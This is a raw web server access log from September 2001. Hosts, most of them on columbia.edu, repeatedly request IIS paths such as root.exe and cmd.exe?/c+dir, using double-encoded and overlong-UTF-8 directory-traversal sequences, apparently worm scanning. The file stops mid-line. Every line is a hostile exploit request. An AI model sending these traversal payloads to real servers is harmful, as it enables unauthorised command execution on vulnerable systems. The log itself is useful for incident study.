08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:25: [212.22.38.34] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:23:53: [212.22.38.34] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:24:12: [212.22.38.34] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:24:30: [212.22.38.34] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:24:52: [212.22.38.34] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:25:11: [212.22.38.34] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:25:29: [212.22.38.34] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:25:48: [212.22.38.34] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:26:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:26:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:08: [212.22.38.34] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:28: [212.22.38.34] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:26:47: [212.22.38.34] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:27:05: [212.22.38.34] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:27:24: [212.22.38.34] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:27:42: [212.22.38.34] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:28:01: [212.22.38.34] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:28:19: [212.22.38.34] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:28:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:32:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:33:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:33:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:33:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:34:41: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:35:51: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:35:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:39:25: [128.163.107.84] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:40:06: [128.163.107.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:40:24: [128.163.107.84] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:40:43: [128.163.107.84] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:41:01: [128.163.107.84] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:41:19: [128.163.107.84] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:41:38: [128.163.107.84] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:41:56: [128.163.107.84] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:42:14: [128.163.107.84] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:42:33: [128.163.107.84] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:42:51: [128.163.107.84] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:43:09: [128.163.107.84] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:43:27: [128.163.107.84] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:43:46: [128.163.107.84] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:44:04: [128.163.107.84] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:44:23: [128.163.107.84] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:44:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:46:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:46:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:46:51: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:47:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:48:21: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET 